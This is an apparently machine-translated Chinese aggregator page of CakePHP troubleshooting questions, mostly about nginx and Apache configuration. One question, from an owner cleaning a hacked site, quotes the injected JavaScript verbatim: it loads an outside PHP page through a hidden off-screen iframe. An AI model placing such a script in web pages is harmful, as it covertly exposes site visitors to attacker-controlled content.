Articles of cakephp

Nginx与CakePHP子文件夹中不提供静态文件(CSS,JS,IMG)

我试图设置一个Nginx服务器configuration来从一个子文件夹提供CakePHP安装。 url: https://sub.domain.com/cakefolder : https://sub.domain.com/cakefolder 系统上的文件夹: /var/www/domain/sub/cakefolder 所以我使用一个子文件夹的URL以及在系统上。 现在花了我一些时间来弄清楚CakePHP正确处理哪些请求的configuration。 这意味着它正确地引导和处理控制器。 什么不工作,是从webroot目录(如* .css文件)提供静态文件,因为这些都被解释为CakePHP控制器导致CssController could not be found. 错误。 我的site.conf: server { listen *:80; listen *:443 ssl; server_name sub.domain.com; ssl_certificate ./ssl/domain.crt; ssl_certificate_key ./ssl/domain.key; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; if ($ssl_protocol = "") { rewrite ^ https://$server_name$request_uri? permanent; } root /var/www/domain/sub/cakefolder/; autoindex off; index index.php; location /cakefolder { root […]

如何在nginx中configurationcakephp

目前,我正在与nginx的cakephp工作。 我使用Fact CGI在运行Nginx的Centos服务器上设置了一个cakephp环境。 问题是,我无法得到重写规则在我的虚拟主机中设置正确,以便蛋糕正确呈现页面,即样式等。 我的.conf文件是as – #The default server server { listen 80 default_server; server_name 1 23.123.123.123; #charset koi8-r; #access_log logs/host.access.log main; location / { root /usr/share/nginx/html; index index.php index.html index.htm; } error_page 404 /404.html; location = /404.html { root /usr/share/nginx/html; } # redirect server error pages to the static page /50x.html # error_page 500 […]

CakePHP 2.0:数据库连接“Mysql”缺失或无法创build

在安装CakePHP 2.0(修改后,我说我在cakephp 2.0的干净安装上遇到同样的问题)之后,我发现自己面临着一个我一直无法解决的错误。 组态: 服务器 :debian weezy 7 用户 :testing 结构 :/ wwwjail / siteroot / test / htdocs / [app / …] nginxconfiguration cat / etc / nginx / sites-available / test server { listen IP:80 default; server_name domain.fr; access_log /var/log/nginx/test.access.log; error_log /var/log/nginx/test.error.log; autoindex off; index index.php index.html; root /wwwjail/siteroot/test/htdocs/; location ~ \.php$ { […]

如何让nginxcaching重写资产?

我使用的是cakephp1.3,一些资产是主题资产(js,img等),其他资产不是主题资产。 非主题资产正确caching; 但主题资产没有得到正确的到期头。 我在位置块中使用重写来帮助查找主题资产,但由于某种原因,nginx并没有应用正确的caching头。 我附上了我的nginxconfiguration下面的副本。 有没有人解决了如何caching重写的资产? user nginx; worker_processes 2; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events { worker_connections 1024; } #—————————————————————————————————– http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr – $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; fastcgi_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:100m […]

在CakePHP项目中设置React

如何使用webpack在CakePHP webroot中设置React? 我有一个现有的CakePHP项目(模型,视图,控制器)。 我想在其webroot ( Project/Miniproject/index.html )中设置mini React项目。 index.html将会对api的控制器定义进行ajax调用。 – Project | – app | | – Controller | | – View | | – Model | | – webroot | | | – Miniproject | | | | – index.html [Mini react project] 我曾尝试安装React Transform Boilerplate 。 但它使用web开发服务器(并呈现localhost:3000上的文件)。 但是我想要运行CakePHP项目的nginx服务器上的文件。 当我访问url( Project/Miniproject/index.html )时,找不到dist/bundle.js因为它在内存中。 那么如何使用webpack在CakePHP webroot中设置React?

在Linux上安装CakePHP的问题

我已经从它的网站下载了CakePHP,然后我复制了srv / www / htdocs中的文件,将这个文件夹重命名为first_app 这里是输出(显示我的错误和警告): CakePHP 2.0.0-dev的发行说明。 Fatal error: Class 'Debugger' not found in /srv/www/htdocs/first_app/cake/libs/view/pages/home.ctp on line 26 也教程告诉我,我必须有这样的: Apache服务器与mod_rewrite 我不知道如何find它并安装它? 这是造成这个问题吗? 我想知道如何添加“另一个”根没有问题 我用这个,没有结果: <Directory /srv/www/htdocs/first_app/app/webroot> Options None AllowOverride All Order deny,allow Deny from all </Directory> 我也更改了/etc/apache2/server-default.conf 我改变了允许覆盖无以允许覆盖全部在这部分: <Directory "/srv/www/htdocs">

需要使用linux命令删除cakephp脚本中的病毒代码

昨天我的网站被黑了,它的代码如下: <script> function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = \"http://fenwaywest.com/media/index.php\"; ifrm.id = 'frmId'; document.body.appendChild(ifrm); }; window.onload = frmAdd; </script>"; 当我使用下面的命令search服务器来查找受影响的文件时 grep -r "<script> function frmAdd()" /path/ 我有超过2000个文件。 现在我只需要删除该行。 请你有人可以指导命令只删除所有2000个文件中的那一行吗?

CakePHP 2.0 CakeLog限制日志大小

如何限制使用CakeLog时的日志大小? 我正在使用Ubuntu,如果这有所作为。

CakePHP cakeshell错误“A通知:未初始化的string偏移:0 in”

我试图运行我的蛋糕shell脚本,但输出如下所示: -bash-3.2$ ../cake/console/cake audit ../cake/console/cake: line 30:/root/site/app: is a directory Array ( [0] => /root/site/cake/console/cake.php [1] => -working [2] => [3] => audit ) Notice: Uninitialized string offset: 0 in /root/site/cake/console/cake.php on line 550 我究竟做错了什么? 这里是这个文件的内容: cake.php function __parseParams($params) { $count = count($params); for ($i = 0; $i < $count; $i++) { if (isset($params[$i])) { […]

CakePHP高可用性服务器场设置

我目前正在configuration我的基于CakePHP(1.3)的Web应用程序在HA安装程序中运行。 我有4个networking运行应用程序本身的数据库后端MySQL集群。 我有用户每周上传12,000 – 24,000张图片(35-70 GB)。 该应用程序然后从原始,缩略图和中等大小的图像生成2个额外的文件预览。 这意味着每周总共有36,000到72,000个可能的文件被添加到存储库中。 我试图包裹我的头是如何处理来自用户尝试查看这些图像的大量的静态文件请求。 我的意思是我可以有多个网页框只提供静态文件与调度请求的负载平衡器。 但是,有没有人在这里有任何想法如何保持所有静态文件服务器同步? 如果您有任何经验想要分享,或者对我有用的链接,将非常感激。 谢谢, serialk